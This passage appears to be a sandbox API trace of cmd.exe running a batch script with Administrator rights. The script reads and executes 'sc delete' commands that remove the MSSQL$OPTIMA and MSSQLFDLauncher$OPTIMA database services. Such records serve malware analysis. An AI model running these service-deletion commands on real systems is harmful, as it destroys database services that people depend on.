lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.582] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.582] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.582] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.582] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SSQLFDLauncher$OPTIMA\"\n") returned 1 [0066.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.582] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="SQLFDLauncher$OPTIMA\"\n") returned 1 [0066.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.583] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="QLFDLauncher$OPTIMA\"\n") returned 1 [0066.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.583] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="LFDLauncher$OPTIMA\"\n") returned 1 [0066.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.583] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="$DLauncher$OPTIMA\"\n") returned 1 [0066.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.583] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="OLauncher$OPTIMA\"\n") returned 1 [0066.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.583] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="Pauncher$OPTIMA\"\n") returned 1 [0066.584] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.584] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.584] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="Tuncher$OPTIMA\"\n") returned 1 [0066.584] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.584] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.584] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="Incher$OPTIMA\"\n") returned 1 [0066.584] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.584] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.584] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="Mcher$OPTIMA\"\n") returned 1 [0066.584] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.584] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.584] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="Aher$OPTIMA\"\n") returned 1 [0066.584] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.584] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.584] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="\"er$OPTIMA\"\n") returned 1 [0066.585] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.585] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.585] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="\nr$OPTIMA\"\n") returned 1 [0066.585] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.585] GetFileType (hFile=0xb8) returned 0x3 [0066.585] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.585] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.585] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.585] GetFileType (hFile=0x120) returned 0x3 [0066.585] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 26 [0066.585] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x19, lpOverlapped=0x0) returned 1 [0066.585] GetProcessHeap () returned 0x1b0000 [0066.585] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.585] GetProcessHeap () returned 0x1b0000 [0066.585] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.585] GetProcessHeap () returned 0x1b0000 [0066.585] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.586] GetProcessHeap () returned 0x1b0000 [0066.586] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.586] GetProcessHeap () returned 0x1b0000 [0066.586] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0066.586] GetConsoleOutputCP () returned 0x1b5 [0066.586] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.586] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.586] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.586] GetProcessHeap () returned 0x1b0000 [0066.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa90 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0066.587] SetErrorMode (uMode=0x0) returned 0x1 [0066.587] SetErrorMode (uMode=0x1) returned 0x0 [0066.587] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.587] SetErrorMode (uMode=0x1) returned 0x1 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.587] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.587] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0066.587] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.587] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.587] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.587] GetProcessHeap () returned 0x1b0000 [0066.588] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.588] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.588] GetProcessHeap () returned 0x1b0000 [0066.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.588] GetProcessHeap () returned 0x1b0000 [0066.588] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.588] GetProcessHeap () returned 0x1b0000 [0066.588] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.588] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.588] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.588] GetLastError () returned 0x2 [0066.588] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.589] GetLastError () returned 0x2 [0066.589] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.589] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.589] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.589] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.589] GetLastError () returned 0x2 [0066.589] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.590] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.590] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.590] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.590] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.590] GetProcessHeap () returned 0x1b0000 [0066.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.590] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.590] GetProcessHeap () returned 0x1b0000 [0066.590] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xaa) returned 0x1c9180 [0066.590] GetProcessHeap () returned 0x1b0000 [0066.590] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xaa [0066.590] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$OPTIMA\"") returned 1 [0066.591] GetProcessHeap () returned 0x1b0000 [0066.591] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.591] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.591] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.591] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.591] GetProcessHeap () returned 0x1b0000 [0066.591] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.593] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.593] GetProcessHeap () returned 0x1b0000 [0066.593] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.593] GetProcessHeap () returned 0x1b0000 [0066.593] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.593] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"MSSQL$OPTIMA\"", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x7c8, dwThreadId=0x640)) returned 1 [0066.597] CloseHandle (hObject=0x54) returned 1 [0066.597] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.597] GetProcessHeap () returned 0x1b0000 [0066.597] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.597] GetEnvironmentStringsW () returned 0x1d1b10* [0066.597] GetProcessHeap () returned 0x1b0000 [0066.597] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.597] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.598] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.598] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.598] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0066.649] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: 